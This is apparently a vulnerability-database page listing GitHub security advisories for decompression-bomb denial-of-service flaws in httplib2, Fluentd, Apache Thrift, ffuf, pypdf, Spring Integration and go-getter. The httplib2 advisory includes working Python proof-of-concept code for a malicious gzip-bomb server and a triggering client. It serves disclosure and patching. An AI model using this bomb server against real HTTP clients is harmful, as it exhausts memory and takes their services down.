Vulnerability from github – Published: 2026-07-24 15:15 – Updated: 2026-08-20 21:31
VLAI
Summary
httplib2: Decompression Bomb Denial of Service via Unbounded gzip/deflate Response Handling
Details

Summary

The httplib2 HTTP client library performs unbounded decompression of HTTP response bodies encoded with Content-Encoding: gzip or deflate. A malicious or compromised HTTP server can return a small compressed payload (approximately 150 KB) that expands to an arbitrarily large size in memory (150 MB or more), causing MemoryError or OOM-kill in the client process. This is a classic decompression bomb (zip bomb) attack against the HTTP client.

Any application using httplib2.Http().request() against untrusted or attacker-controlled HTTP endpoints is affected.

Details

Affected code: httplib2/__init__.py - _decompressContent() function

The decompression path has two unbounded operations:

  1. gzip decompression (line 394): python content = gzip.GzipFile(fileobj=io.BytesIO(new_content)).read() The .read() call with no size argument decompresses the entire gzip payload into a single in-memory bytes object. There is no limit on the decompressed size.

  2. deflate decompression (line 397): python content = zlib.decompress(content, zlib.MAX_WBITS) Similarly, zlib.decompress() returns the fully decompressed content as a single bytes object with no size bound.

  3. Automatic invocation (line 1431): _decompressContent() is called automatically on every HTTP response that includes a Content-Encoding: gzip or deflate header. The full compressed body is already buffered in memory via response.read() before decompression begins.

Root cause: There is no max_decompressed_size, streaming decompression with size tracking, or decompression ratio check anywhere in the decompression path. The library unconditionally trusts the server's compressed payload size.

Attack vector: Any HTTP server (including man-in-the-middle attackers or compromised upstream services) can trigger this by returning a response with: - Content-Encoding: gzip header - A small compressed body that decompresses to an arbitrarily large size

Proof of Concept

Step 1 - Start a malicious HTTP server that serves a gzip decompression bomb:

#!/usr/bin/env python3
"""Malicious HTTP server that serves a gzip decompression bomb."""
import gzip
import http.server
import io
import socketserver

UNCOMPRESSED_SIZE = 150 * 1024 * 1024  # 150 MB

def make_payload():
    """Create a gzip payload: ~150 KB compressed -> 150 MB decompressed."""
    buf = io.BytesIO()
    with gzip.GzipFile(fileobj=buf, mode="wb", compresslevel=9) as gz:
        chunk = b"A" * (1024 * 1024)  # 1 MB of repeating bytes
        for _ in range(UNCOMPRESSED_SIZE // len(chunk)):
            gz.write(chunk)
    return buf.getvalue()

PAYLOAD = make_payload()

class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "application/octet-stream")
        self.send_header("Content-Encoding", "gzip")
        self.send_header("Content-Length", str(len(PAYLOAD)))
        self.end_headers()
        self.wfile.write(PAYLOAD)
    def log_message(self, fmt, *args):
        pass

with socketserver.TCPServer(("127.0.0.1", 8000), Handler) as httpd:
    print(f"Bomb server ready: {len(PAYLOAD)} bytes compressed -> "
          f"{UNCOMPRESSED_SIZE} bytes decompressed")
    httpd.serve_forever()

Step 2 - Run the httplib2 client (in a separate terminal):

#!/usr/bin/env python3
"""Client that demonstrates MemoryError from httplib2 decompression bomb."""
import resource
import httplib2

# Set a 180 MB memory limit to make the crash deterministic
LIMIT_MB = 180
limit = LIMIT_MB * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (limit, limit))

http = httplib2.Http(timeout=5)
try:
    response, content = http.request("http://127.0.0.1:8000/")
    print(f"Unexpected success: received {len(content)} bytes")
except MemoryError:
    print(f"MemoryError confirmed: decompression bomb exhausted "
          f"{LIMIT_MB} MB memory limit")
    # This is the expected outcome - the 150 KB compressed payload
    # expanded to 150 MB during decompression, exceeding the limit.

Expected output (client):

MemoryError confirmed: decompression bomb exhausted 180 MB memory limit

Reproduction metrics: - Compressed payload size: 152,908 bytes (~150 KB) - Decompressed size: 157,286,400 bytes (150 MB) - Amplification ratio: ~1,029x - Client memory limit: 180 MB -> MemoryError triggered during gzip.GzipFile.read()

Impact

Severity: High

Any application using httplib2 to make HTTP requests to untrusted servers is vulnerable. The attack requires no authentication, no special configuration, and no user interaction - the server simply returns a crafted gzip-compressed response.

Parameter Value
Compressed payload ~150 KB
Decompressed size 150 MB (configurable by attacker)
Amplification ratio ~1,029x
Authentication required None
User interaction required None
Prerequisites Client makes any HTTP request to attacker-controlled server

Real-world scenarios: - Web scrapers/crawlers that fetch pages from untrusted URLs - API clients connecting to third-party services - Webhook handlers that follow redirects to attacker-controlled endpoints - CI/CD pipelines that download dependencies or artifacts over HTTP - Any MITM attacker on an unencrypted HTTP connection can inject the compressed payload

Impact scaling: The attacker can create arbitrarily large decompression bombs. A 1 MB compressed payload can decompress to several gigabytes, guaranteeing OOM-kill on virtually any system. The attack is fully deterministic and requires only a single HTTP response.

Downstream exposure: httplib2 is a widely used Python HTTP client library with millions of downloads. It is a dependency of Google's API client libraries (google-api-python-client, google-auth-httplib2), meaning applications using Google Cloud APIs may be indirectly affected if they process responses from untrusted intermediaries.

Credit

Found by a security research team from the University of Sydney, focusing on detecting open source software vulnerabilities. Liyi Zhou: https://lzhou1110.github.io/ Ziyue Wang: https://zyy0530.github.io/ Strick: https://str1ckl4nd.github.io/ Maurice: https://maurice.busystar.org/ Chenchen Yu: https://7thparkk.github.io/

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "httplib2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.32.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59939"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-409",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T15:15:05Z",
    "nvd_published_at": "2026-07-08T20:16:59Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe `httplib2` HTTP client library performs unbounded decompression of HTTP response bodies encoded with `Content-Encoding: gzip` or `deflate`. A malicious or compromised HTTP server can return a small compressed payload (approximately 150 KB) that expands to an arbitrarily large size in memory (150 MB or more), causing `MemoryError` or OOM-kill in the client process. This is a classic decompression bomb (zip bomb) attack against the HTTP client.\n\nAny application using `httplib2.Http().request()` against untrusted or attacker-controlled HTTP endpoints is affected.\n\n### Details\n\n**Affected code:** `httplib2/__init__.py` - `_decompressContent()` function\n\nThe decompression path has two unbounded operations:\n\n1. **gzip decompression** (line 394):\n   ```python\n   content = gzip.GzipFile(fileobj=io.BytesIO(new_content)).read()\n   ```\n   The `.read()` call with no size argument decompresses the entire gzip payload into a single in-memory bytes object. There is no limit on the decompressed size.\n\n2. **deflate decompression** (line 397):\n   ```python\n   content = zlib.decompress(content, zlib.MAX_WBITS)\n   ```\n   Similarly, `zlib.decompress()` returns the fully decompressed content as a single bytes object with no size bound.\n\n3. **Automatic invocation** (line 1431): `_decompressContent()` is called automatically on every HTTP response that includes a `Content-Encoding: gzip` or `deflate` header. The full compressed body is already buffered in memory via `response.read()` before decompression begins.\n\n**Root cause:** There is no `max_decompressed_size`, streaming decompression with size tracking, or decompression ratio check anywhere in the decompression path. The library unconditionally trusts the server\u0027s compressed payload size.\n\n**Attack vector:** Any HTTP server (including man-in-the-middle attackers or compromised upstream services) can trigger this by returning a response with:\n- `Content-Encoding: gzip` header\n- A small compressed body that decompresses to an arbitrarily large size\n\n### Proof of Concept\n\n**Step 1 - Start a malicious HTTP server that serves a gzip decompression bomb:**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Malicious HTTP server that serves a gzip decompression bomb.\"\"\"\nimport gzip\nimport http.server\nimport io\nimport socketserver\n\nUNCOMPRESSED_SIZE = 150 * 1024 * 1024  # 150 MB\n\ndef make_payload():\n    \"\"\"Create a gzip payload: ~150 KB compressed -\u003e 150 MB decompressed.\"\"\"\n    buf = io.BytesIO()\n    with gzip.GzipFile(fileobj=buf, mode=\"wb\", compresslevel=9) as gz:\n        chunk = b\"A\" * (1024 * 1024)  # 1 MB of repeating bytes\n        for _ in range(UNCOMPRESSED_SIZE // len(chunk)):\n            gz.write(chunk)\n    return buf.getvalue()\n\nPAYLOAD = make_payload()\n\nclass Handler(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/octet-stream\")\n        self.send_header(\"Content-Encoding\", \"gzip\")\n        self.send_header(\"Content-Length\", str(len(PAYLOAD)))\n        self.end_headers()\n        self.wfile.write(PAYLOAD)\n    def log_message(self, fmt, *args):\n        pass\n\nwith socketserver.TCPServer((\"127.0.0.1\", 8000), Handler) as httpd:\n    print(f\"Bomb server ready: {len(PAYLOAD)} bytes compressed -\u003e \"\n          f\"{UNCOMPRESSED_SIZE} bytes decompressed\")\n    httpd.serve_forever()\n```\n\n**Step 2 - Run the httplib2 client (in a separate terminal):**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Client that demonstrates MemoryError from httplib2 decompression bomb.\"\"\"\nimport resource\nimport httplib2\n\n# Set a 180 MB memory limit to make the crash deterministic\nLIMIT_MB = 180\nlimit = LIMIT_MB * 1024 * 1024\nresource.setrlimit(resource.RLIMIT_AS, (limit, limit))\n\nhttp = httplib2.Http(timeout=5)\ntry:\n    response, content = http.request(\"http://127.0.0.1:8000/\")\n    print(f\"Unexpected success: received {len(content)} bytes\")\nexcept MemoryError:\n    print(f\"MemoryError confirmed: decompression bomb exhausted \"\n          f\"{LIMIT_MB} MB memory limit\")\n    # This is the expected outcome - the 150 KB compressed payload\n    # expanded to 150 MB during decompression, exceeding the limit.\n```\n\n**Expected output (client):**\n```\nMemoryError confirmed: decompression bomb exhausted 180 MB memory limit\n```\n\n**Reproduction metrics:**\n- Compressed payload size: **152,908 bytes** (~150 KB)\n- Decompressed size: **157,286,400 bytes** (150 MB)\n- Amplification ratio: **~1,029x**\n- Client memory limit: 180 MB -\u003e `MemoryError` triggered during `gzip.GzipFile.read()`\n\n### Impact\n\n**Severity: High**\n\nAny application using `httplib2` to make HTTP requests to untrusted servers is vulnerable. The attack requires no authentication, no special configuration, and no user interaction - the server simply returns a crafted gzip-compressed response.\n\n| Parameter | Value |\n|---|---|\n| Compressed payload | ~150 KB |\n| Decompressed size | 150 MB (configurable by attacker) |\n| Amplification ratio | ~1,029x |\n| Authentication required | None |\n| User interaction required | None |\n| Prerequisites | Client makes any HTTP request to attacker-controlled server |\n\n**Real-world scenarios:**\n- **Web scrapers/crawlers** that fetch pages from untrusted URLs\n- **API clients** connecting to third-party services\n- **Webhook handlers** that follow redirects to attacker-controlled endpoints\n- **CI/CD pipelines** that download dependencies or artifacts over HTTP\n- **Any MITM attacker** on an unencrypted HTTP connection can inject the compressed payload\n\n**Impact scaling:** The attacker can create arbitrarily large decompression bombs. A 1 MB compressed payload can decompress to several gigabytes, guaranteeing OOM-kill on virtually any system. The attack is fully deterministic and requires only a single HTTP response.\n\n**Downstream exposure:** `httplib2` is a widely used Python HTTP client library with millions of downloads. It is a dependency of Google\u0027s API client libraries (`google-api-python-client`, `google-auth-httplib2`), meaning applications using Google Cloud APIs may be indirectly affected if they process responses from untrusted intermediaries.\n\n---\n### Credit\n\nFound by a security research team from the University of Sydney, focusing on detecting open source software vulnerabilities.\nLiyi Zhou: https://lzhou1110.github.io/\nZiyue Wang: https://zyy0530.github.io/\nStrick: https://str1ckl4nd.github.io/\nMaurice: https://maurice.busystar.org/\nChenchen Yu: https://7thparkk.github.io/",
  "id": "GHSA-j5g9-f88f-gfj3",
  "modified": "2026-08-20T21:31:15Z",
  "published": "2026-07-24T15:15:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/httplib2/httplib2/security/advisories/GHSA-j5g9-f88f-gfj3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59939"
    },
    {
      "type": "WEB",
      "url": "https://github.com/httplib2/httplib2/commit/87581ad6cf752fe3da2090c59058261d2d00a427"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/httplib2/httplib2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/httplib2/httplib2/releases/tag/v0.32.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/httplib2/PYSEC-2026-3444.yaml"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2026/08/msg00039.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "httplib2: Decompression Bomb Denial of Service via Unbounded gzip/deflate Response Handling"
}

GHSA-J9CW-HWQF-85W7

Vulnerability from github – Published: 2026-06-26 16:35 – Updated: 2026-06-26 16:35
VLAI
Summary
Fluentd is Vulnerable to Denial of Service (DoS) via Gzip Decompression Bomb in `in_http` and `in_forward`
Details

Fluentd's in_http and in_forward plugins support receiving gzip-compressed data. While Fluentd correctly enforces size limits on the incoming compressed payloads (e.g., via body_size_limit or chunk_size_limit), it was discovered that there is no limit enforced on the size of the decompressed data.

If a Fluentd instance is exposed to untrusted networks, an attacker can send a maliciously crafted, highly compressed payload. When Fluentd attempts to decompress this payload in memory, it will expand to an excessive size, completely bypassing the intended payload size limits.

Impact

This vulnerability allows for a Denial of Service (DoS) attack via memory exhaustion. The rapid memory consumption during decompression can easily lead to an Out-of-Memory kill of the Fluentd process by the operating system. This results in the disruption of all log collection and forwarding capabilities on the affected node.

Patches

v1.19.3

Workarounds

If an immediate upgrade is not possible, users are strongly advised to apply the following mitigations:

  1. Restrict Network Access
  2. Ensure that Fluentd input ports (such as 9880 for in_http and 24224 for in_forward) are deployed within a closed, trusted network. Use firewall rules (e.g., iptables, AWS Security Groups) to block access from untrusted networks or instances.
  3. Use a Reverse Proxy
  4. If developers must expose HTTP ingestion to external sources, place a robust reverse proxy (such as Nginx) in front of Fluentd. Configure the proxy to handle the gzip decompression and enforce strict limits on both compressed and uncompressed body sizes before passing the traffic to Fluentd.
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.19.2"
      },
      "package": {
        "ecosystem": "RubyGems",
        "name": "fluentd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.19.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44160"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T16:35:38Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Fluentd\u0027s `in_http` and `in_forward` plugins support receiving gzip-compressed data.\nWhile Fluentd correctly enforces size limits on the incoming compressed payloads (e.g., via `body_size_limit` or `chunk_size_limit`), it was discovered that there is no limit enforced on the size of the decompressed data.\n\nIf a Fluentd instance is exposed to untrusted networks, an attacker can send a maliciously crafted, highly compressed payload. \nWhen Fluentd attempts to decompress this payload in memory, it will expand to an excessive size, completely bypassing the intended payload size limits.\n\n### Impact\nThis vulnerability allows for a **Denial of Service (DoS)** attack via memory exhaustion. \nThe rapid memory consumption during decompression can easily lead to an Out-of-Memory kill of the Fluentd process by the operating system.\nThis results in the disruption of all log collection and forwarding capabilities on the affected node.\n\n### Patches\nv1.19.3\n\n### Workarounds\nIf an immediate upgrade is not possible, users are strongly advised to apply the following mitigations:\n\n1. Restrict Network Access\n   * Ensure that Fluentd input ports (such as `9880` for `in_http` and `24224` for `in_forward`) are deployed within a closed, trusted network. Use firewall rules (e.g., iptables, AWS Security Groups) to block access from untrusted networks or instances.\n2. Use a Reverse Proxy\n   * If developers must expose HTTP ingestion to external sources, place a robust reverse proxy (such as Nginx) in front of Fluentd. Configure the proxy to handle the gzip decompression and enforce strict limits on both compressed and uncompressed body sizes before passing the traffic to Fluentd.",
  "id": "GHSA-j9cw-hwqf-85w7",
  "modified": "2026-06-26T16:35:38Z",
  "published": "2026-06-26T16:35:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/fluent/fluentd/security/advisories/GHSA-j9cw-hwqf-85w7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fluent/fluentd"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fluent/fluentd/releases/tag/v1.19.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Fluentd is Vulnerable to Denial of Service (DoS) via Gzip Decompression Bomb in `in_http` and `in_forward`"
}

GHSA-JCJ7-W43P-GJH8

Vulnerability from github – Published: 2026-07-27 12:31 – Updated: 2026-07-27 12:31
VLAI
Details

Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in Apache Thrift Ruby bindings.

This issue affects Apache Thrift: before 0.24.0.

Users are recommended to upgrade to version 0.24.0, which fixes the issue.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-49158"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-27T12:16:45Z",
    "severity": "HIGH"
  },
  "details": "Improper Handling of Highly Compressed Data (Data Amplification) vulnerability in Apache Thrift Ruby bindings.\n\nThis issue affects Apache Thrift: before 0.24.0.\n\nUsers are recommended to upgrade to version 0.24.0, which fixes the issue.",
  "id": "GHSA-jcj7-w43p-gjh8",
  "modified": "2026-07-27T12:31:16Z",
  "published": "2026-07-27T12:31:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49158"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/7v3jhgwfbmhx42424phydlnzb109g8b9"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/fmjl8l415tj9zwlob8v2dr5hq1d0hts7"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/07/24/38"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JCVH-XF52-2CWM

Vulnerability from github – Published: 2026-09-03 18:02 – Updated: 2026-09-03 18:02
VLAI
Summary
ffuf denial of service (OOM) via HTTP response decompression bomb
Details

Summary

A malicious or attacker-controlled target server can crash ffuf with an out-of-memory condition by returning a compressed HTTP response that decompresses to a very large body (a decompression bomb). This works against default usage with no special flags.

### Details

The response body size guard in pkg/runner/simple.go only checks the server-supplied Content-Length header, which reflects the compressed size and is absent for chunked responses or when Go's net/http transport transparently decompresses the body. After that check, io.ReadAll reads the entire decompressed stream into memory with no upper bound, so a small compressed body that expands to gigabytes causes unbounded allocation and the process is terminated by the OS OOM killer.

The guard is bypassed in three independent ways:

  1. gzip (default configuration): the transport requests gzip on its own and transparently decompresses the response, stripping Content-Encoding and Content-Length, so the size check is skipped and the already-decoded body is read unbounded.
  2. brotli/deflate (or gzip with headers preserved): Content-Length reflects the small compressed size and passes the check; the body is then manually decompressed into an unbounded io.ReadAll.
  3. chunked transfer encoding: no Content-Length header is present, so the numeric parse fails and the check is skipped entirely.

### Impact

Denial of service against the operator running ffuf. A single hostile endpoint can OOM-kill ffuf on a default invocation such as ffuf -u http://target/FUZZ -w wordlist.txt, discarding all in-memory scan results. Because the crash recurs on every attempt against that target, a server can effectively make itself immune to ffuf-based content discovery. There is no confidentiality or integrity impact; only the availability of the scanning process is affected. CVSS 3.1 base score 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H), CWE-409 (Improper Handling of Highly Compressed Data).

### Patches

Fixed in ffuf 2.2.0 (https://github.com/ffuf/ffuf/releases/tag/v2.2.0) via https://github.com/ffuf/ffuf/pull/897. The response body read is now bounded with io.LimitReader to the existing 5 MB download cap regardless of Content-Encoding, chunked framing, or transport-level decompression; responses exceeding the cap are dropped rather than read into memory. Upgrade to 2.2.0 or later.

### Workarounds

There is no configuration flag that fully mitigates this in affected versions. Until upgrading, limit ffuf usage against untrusted or attacker-influenced targets. Upgrading to 2.2.0 is the fix.

### Credits

Reported by João Tricta (Hakai Offensive Security).

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/ffuf/ffuf/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/ffuf/ffuf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73232"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-03T18:02:09Z",
    "nvd_published_at": "2026-08-11T20:18:48Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n  A malicious or attacker-controlled target server can crash ffuf with an out-of-memory condition by returning a compressed HTTP response that decompresses to a very large body (a decompression\n  bomb). This works against default usage with no special flags.\n\n  ### Details\n\n  The response body size guard in `pkg/runner/simple.go` only checks the server-supplied `Content-Length` header, which reflects the *compressed* size and is absent for chunked responses or when Go\u0027s\n  `net/http` transport transparently decompresses the body. After that check, `io.ReadAll` reads the entire *decompressed* stream into memory with no upper bound, so a small compressed body that\n  expands to gigabytes causes unbounded allocation and the process is terminated by the OS OOM killer.\n\n  The guard is bypassed in three independent ways:\n\n  1. **gzip (default configuration):** the transport requests gzip on its own and transparently decompresses the response, stripping `Content-Encoding` and `Content-Length`, so the size check is\n  skipped and the already-decoded body is read unbounded.\n  2. **brotli/deflate (or gzip with headers preserved):** `Content-Length` reflects the small compressed size and passes the check; the body is then manually decompressed into an unbounded\n  `io.ReadAll`.\n  3. **chunked transfer encoding:** no `Content-Length` header is present, so the numeric parse fails and the check is skipped entirely.\n\n  ### Impact\n\n  Denial of service against the operator running ffuf. A single hostile endpoint can OOM-kill ffuf on a default invocation such as `ffuf -u http://target/FUZZ -w wordlist.txt`, discarding all\n  in-memory scan results. Because the crash recurs on every attempt against that target, a server can effectively make itself immune to ffuf-based content discovery. There is no confidentiality or\n  integrity impact; only the availability of the scanning process is affected. CVSS 3.1 base score 7.5 (`AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`), CWE-409 (Improper Handling of Highly Compressed Data).\n\n  ### Patches\n\n  Fixed in **ffuf 2.2.0** (https://github.com/ffuf/ffuf/releases/tag/v2.2.0) via https://github.com/ffuf/ffuf/pull/897. The response body read is now bounded with `io.LimitReader` to the existing 5\n  MB download cap regardless of `Content-Encoding`, chunked framing, or transport-level decompression; responses exceeding the cap are dropped rather than read into memory. Upgrade to 2.2.0 or later.\n\n  ### Workarounds\n\n  There is no configuration flag that fully mitigates this in affected versions. Until upgrading, limit ffuf usage against untrusted or attacker-influenced targets. Upgrading to 2.2.0 is the fix.\n\n  ### Credits\n\n  Reported by **Jo\u00e3o Tricta** (Hakai Offensive Security).",
  "id": "GHSA-jcvh-xf52-2cwm",
  "modified": "2026-09-03T18:02:09Z",
  "published": "2026-09-03T18:02:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ffuf/ffuf/security/advisories/GHSA-jcvh-xf52-2cwm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73232"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ffuf/ffuf/pull/897"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ffuf/ffuf/commit/fb0da86c60443b0dddbc9a86e91e3a6487dff79b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ffuf/ffuf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ffuf/ffuf/releases/tag/v2.2.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ffuf denial of service (OOM) via HTTP response decompression bomb"
}

GHSA-JFX9-29X2-RV3J

Vulnerability from github – Published: 2025-10-22 19:40 – Updated: 2025-10-23 17:40
VLAI
Summary
pypdf can exhaust RAM via manipulated LZWDecode streams
Details

Impact

An attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires parsing the content stream of a page using the LZWDecode filter.

Patches

This has been fixed in pypdf==6.1.3.

Workarounds

If you cannot upgrade yet, consider applying the changes from PR #3502.

Severity
6.6 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pypdf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-62708"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-22T19:40:50Z",
    "nvd_published_at": "2025-10-22T22:15:35Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nAn attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires parsing the content stream of a page using the LZWDecode filter.\n\n### Patches\nThis has been fixed in [pypdf==6.1.3](https://github.com/py-pdf/pypdf/releases/tag/6.1.3).\n\n### Workarounds\nIf you cannot upgrade yet, consider applying the changes from PR [#3502](https://github.com/py-pdf/pypdf/pull/3502).",
  "id": "GHSA-jfx9-29x2-rv3j",
  "modified": "2025-10-23T17:40:45Z",
  "published": "2025-10-22T19:40:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-jfx9-29x2-rv3j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62708"
    },
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/pypdf/pull/3502"
    },
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/pypdf/commit/e51d07807ffcdaf18077b9486dadb3dc05b368da"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/py-pdf/pypdf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/pypdf/releases/tag/6.1.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "pypdf can exhaust RAM via manipulated LZWDecode streams"
}

GHSA-JMQV-C2QW-XW7R

Vulnerability from github – Published: 2026-08-27 06:31 – Updated: 2026-08-27 06:31
VLAI
Details

The UnZipTransformer does not limit decompressed entry size or entry count when processing archives. Consequently, an attacker can send a zip archive that can exhaust JVM heap memory, causing a denial-of-service outage. Spring Integration 7.1.0 Spring Integration 7.0.0 - 7.0.5 Spring Integration 6.5.0 - 6.5.10 Spring Integration 6.4.0 - 6.4.12

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-59274"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-27T06:17:21Z",
    "severity": "MODERATE"
  },
  "details": "The UnZipTransformer does not limit decompressed entry size or entry count when processing archives. Consequently, an attacker can send a zip archive that can exhaust JVM heap memory, causing a denial-of-service outage.\nSpring Integration 7.1.0\nSpring Integration 7.0.0 - 7.0.5\nSpring Integration 6.5.0 - 6.5.10\nSpring Integration 6.4.0 - 6.4.12",
  "id": "GHSA-jmqv-c2qw-xw7r",
  "modified": "2026-08-27T06:31:35Z",
  "published": "2026-08-27T06:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59274"
    },
    {
      "type": "WEB",
      "url": "https://spring.io/security/cve-2026-59274"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JPXJ-2JVG-6JV9

Vulnerability from github – Published: 2023-02-16 21:30 – Updated: 2024-05-20 21:47
VLAI
Summary
Data Amplification in HashiCorp go-getter
Details

HashiCorp go-getter up to 1.6.2 and 2.1.1 is vulnerable to decompression bombs. Fixed in 1.7.0 and 2.2.0.

Severity
4.2 (Medium)
CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/hashicorp/go-getter"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
